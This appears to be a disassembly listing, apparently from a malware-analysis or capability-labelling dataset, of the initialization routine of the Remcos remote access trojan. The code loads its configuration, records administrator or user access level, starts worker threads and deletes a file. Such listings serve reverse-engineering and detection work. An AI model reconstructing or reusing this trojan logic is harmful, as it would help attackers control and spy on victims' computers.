Function at 0x40ea00
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x472b4c], eax
push ebx
push esi
push edi
call fcn.0041cbe1
push 0x104
push 0x472b50
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x48]
call fcn.0040f3fe
sub esp, 0x18
mov ecx, esp
push 0x475378
call fcn.004020f6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [esp + 0x60]
call fcn.0041beac
add esp, 0x30
push eax
call fcn.0040fb52
lea ecx, [esp + 0x30]
call fcn.00401e8d
push 0x467388
push dword [ebp + 0x10]
call fcn.0043fd50
pop ecx
pop ecx
test eax, eax
jne 0x40eace
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040fbee
push 0x34
mov ecx, 0x4750f4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.00410f72
lea ecx, [esp + 0x60]
call fcn.0040fb9f
lea ecx, [esp + 0x60]
call fcn.0040f3eb
xor esi, esi
inc esi
jmp 0x40ef2d
push 3
pop ebx
mov esi, 0x4750f4
push ebx
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x4660cc
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b48]
call fcn.00401e65
push eax
mov edx, str.Software_
lea ecx, [esp + 0x1c]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00406383
pop ecx
push eax
mov ecx, 0x475300
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea ecx, [esp + 0x14]
call fcn.00401fd8
push 0xe
mov ecx, esi
call fcn.00401e65
push eax
mov ecx, 0x475330
call fcn.00401fc0
push 0x4673ac
mov ecx, 0x475390
call fcn.00405aa6
push edi
push 0x32
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.004051e3
push edi
push 0x33
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472d71]
call fcn.00401e65
mov ecx, eax
call fcn.004051e3
cmp byte [eax], 0
setne byte [0x472d72]
cmp byte [0x472d71], 0
je 0x40ebe9
push 0x4673b0
mov edx, 0x475330
lea ecx, [esp + 0x18]
call fcn.00406c59
pop ecx
push eax
mov ecx, 0x475428
call fcn.00401fe2
lea ecx, [esp + 0x14]
call fcn.00401fd8
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], edi
push eax
push 0x4673b4
mov ecx, 0x475300
call fcn.00401fab
mov edx, eax
call fcn.00413584
pop ecx
pop ecx
test al, al
jne 0x40f38a
push 0xd
mov ecx, esi
mov dword [esp + 0x14], edi
call fcn.00401e65
mov edx, 0x46612c
mov ecx, eax
call fcn.0040b9f8
test al, al
je 0x40ec3e
lea eax, [esp + 0x10]
mov ecx, 0x475300
push eax
push 0x4673b8
call fcn.00401fab
mov edx, eax
call fcn.00413584
pop ecx
pop ecx
test al, al
je 0x40ec3e
push 0x4673b8
mov ecx, 0x475300
call fcn.00401fab
mov edx, eax
call fcn.004139e4
pop ecx
call fcn.0040d0a4
test eax, eax
jne 0x40ec4e
push 2
jmp 0x40ef2c
mov eax, dword [0x474b00]
test eax, eax
je 0x40ec59
call eax
call fcn.0041b354
mov eax, dword [0x474b08]
test eax, eax
je 0x40ec6e
call eax
mov dword [0x4719d0], eax
cmp dword [esp + 0x10], edi
jne 0x40ecb1
call fcn.00407751
test eax, eax
je 0x40ec87
call fcn.00407773
call fcn.0040729b
push 0x2e
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40ecb1
cmp dword [0x474b08], edi
je 0x40ecb1
cmp dword [0x4719d0], edi
jne 0x40ecb1
call fcn.0040729b
push 0x27
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40eccb
call fcn.00407790
push 0xe
mov ecx, esi
call fcn.00401e65
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.0041bcef
push eax
mov ecx, 0x4752d0
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push 4
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b49]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b3e]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
mov ecx, esi
cmp byte [eax], 0
setne byte [0x472b3f]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40edbb
push 0x30
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043bb56
pop ecx
test eax, eax
je 0x40edbb
push 9
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x30
mov ecx, 0x4750f4
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040da6f
pop ecx
push eax
mov ecx, 0x475318
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov esi, 0x4750f4
cmp dword [esp + 0x10], edi
jne 0x40ef41
cmp byte [0x472b48], 0
je 0x40ee4a
push 0x1e
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x4750f4
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x30
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov cl, byte [esi]
mov edx, eax
call fcn.0040ce34
add esp, 0xc
jmp 0x40ee59
push 0x472b50
mov ecx, 0x4752e8
call fcn.00409092
mov ecx, 0x4752e8
call fcn.0040247c
push 2
xor ebx, ebx
inc eax
pop ecx
mul ecx
seto bl
neg ebx
or ebx, eax
push ebx
call fcn.00434829
mov esi, eax
pop ecx
test esi, esi
je 0x40ee8c
push ebx
push edi
push esi
call fcn.00436f10
add esp, 0xc
jmp 0x40ee8e
mov esi, edi
mov ecx, 0x4752e8
call fcn.00401f04
push eax
push esi
call fcn.0043f859
pop ecx
mov ebx, 0x475348
mov ecx, ebx
call fcn.0040247c
push eax
mov ecx, ebx
call fcn.00401fab
push eax
mov ecx, 0x4752e8
call fcn.0040247c
mov ecx, 0x475300
lea eax, [eax*2 + 2]
push eax
push esi
push str.nhmtnyy
call fcn.00401fab
mov edx, eax
call fcn.00413982
push esi
call fcn.00434832
add esp, 0x1c
mov esi, 0x4750f4
mov ecx, esi
push 0xd
call fcn.00401e65
mov edx, 0x46612c
mov ecx, eax
call fcn.0040b9f8
test al, al
je 0x40efa6
push 0xd
mov ecx, esi
call fcn.00401e65
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.0041bcef
call fcn.0040f4af
add esp, 0x18
cmp al, 1
jne 0x40efa6
push 3
pop esi
lea ecx, [esp + 0x48]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00436f10
add esp, 0xc
mov ebx, 0x475348
mov ecx, ebx
call fcn.0040247c
push eax
mov ecx, ebx
call fcn.00401fab
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x475300
push eax
push str.nhmtnyy
call fcn.00401fab
mov edx, eax
call fcn.00413733
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x4752e8
push eax
call fcn.00409092
mov esi, 0x4750f4
push 1
push 0x34
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402093
push str.vjvoekj
mov ecx, 0x475300
call fcn.00401fab
mov edx, eax
call fcn.004137aa
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043bb2c
mov byte [0x472b4a], al
pop ecx
cmp al, 2
jne 0x40f017
mov cl, 1
call fcn.0041ce2c
push edi
push edi
push edi
push 0x41d4ee
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
jmp 0x40f025
cmp al, 1
jne 0x40f01f
xor cl, cl
jmp 0x40effe
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
mov ecx, esi
push 0xb
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
test bl, bl
mov esi, eax
mov ebx, 0x4750f4
setne cl
movzx ecx, cl
push ecx
push 7
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043bb2c
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x31
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
movzx eax, byte [esi]
mov ecx, ebx
push eax
push 0x2a
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0xf
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
mov ecx, 0x475100
call fcn.00409e1f
push 0x14
mov ecx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f13c
push 2
pop eax
push eax
call fcn.0043455e
mov esi, eax
xor ebx, ebx
pop ecx
push 0x35
mov ecx, 0x4750f4
mov byte [esi], bl
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], bl
push 0x41a045
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
jmp 0x40f13e
xor ebx, ebx
mov esi, 0x4750f4
push 0x16
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f194
push 2
pop eax
push eax
call fcn.0043455e
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x4750f4
mov byte [esi], 1
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push ebx
push ebx
push esi
cmp byte [eax], 0
push 0x41a045
push ebx
setne cl
push ebx
mov byte [esi + 1], cl
call edi
mov esi, 0x4750f4
push 0x23
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f207
push 0x25
mov ecx, esi
mov byte [0x472a85], 1
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x26
mov ecx, 0x4750f4
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov dl, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.0040da23
pop ecx
push eax
mov ecx, 0x474d74
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
push ebx
push ebx
push ebx
push 0x401a6d
push ebx
push ebx
call edi
mov esi, 0x4750f4
push 0x2b
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 1
jne 0x40f255
push 0x2c
mov ecx, esi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0x2d
mov ecx, 0x4750f4
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043bb2c
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040c19d
lea ecx, [esp + 0x14]
call fcn.0041b69e
push eax
mov ecx, 0x475360
call fcn.00401f13
lea ecx, [esp + 0x14]
call fcn.00401f09
mov eax, dword [0x474b04]
test eax, eax
je 0x40f27e
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40f7e2
push ebx
push ebx
call edi
cmp byte [0x472d71], 0
je 0x40f29f
push ebx
push ebx
push ebx
push fcn.00412132
push ebx
push ebx
call edi
cmp byte [0x472d72], 0
je 0x40f2b4
push ebx
push ebx
push ebx
push 0x412716
push ebx
push ebx
call edi
mov eax, dword [0x4719d0]
sub eax, ebx
je 0x40f2c9
sub eax, 1
jne 0x40f307
push str.Administrator
jmp 0x40f2ce
push str.User
lea ecx, [esp + 0x18]
call fcn.00402093
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [esp + 0x14]
call fcn.00401fd8
mov edi, 0x475300
push 0x467408
mov ecx, edi
call fcn.00401fab
mov edx, eax
call fcn.0041353a
pop ecx
test al, al
je 0x40f3e0
push 0x466f7c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041bcef
mov ecx, eax
call fcn.00401f04
push eax
mov edx, closesocket
lea ecx, [esp + 0x38]
call fcn.00413656
pop ecx
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f04
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40f381
cmp ebx, 0xa
jge 0x40f3aa
push 0xa
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x30]
call fcn.00401f04
push eax
call esi
test eax, eax
je 0x40f36a
jmp 0x40f3aa
push 0x4673b4
mov ecx, 0x475300
call fcn.00401fab
mov edx, eax
call fcn.004139e4
pop ecx
mov ecx, dword [esp + 0x2c]
call fcn.004124b0
push 0x466f7c
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041bcef
mov ecx, eax
call fcn.00401f04
mov edx, eax
mov ecx, closesocket
call fcn.00413a5e
pop ecx
lea ecx, [esp + 0x14]
call fcn.00401f09
lea ecx, [esp + 0x30]
call fcn.00401f09
call fcn.0040dd7d
call fcn.00414f65
int3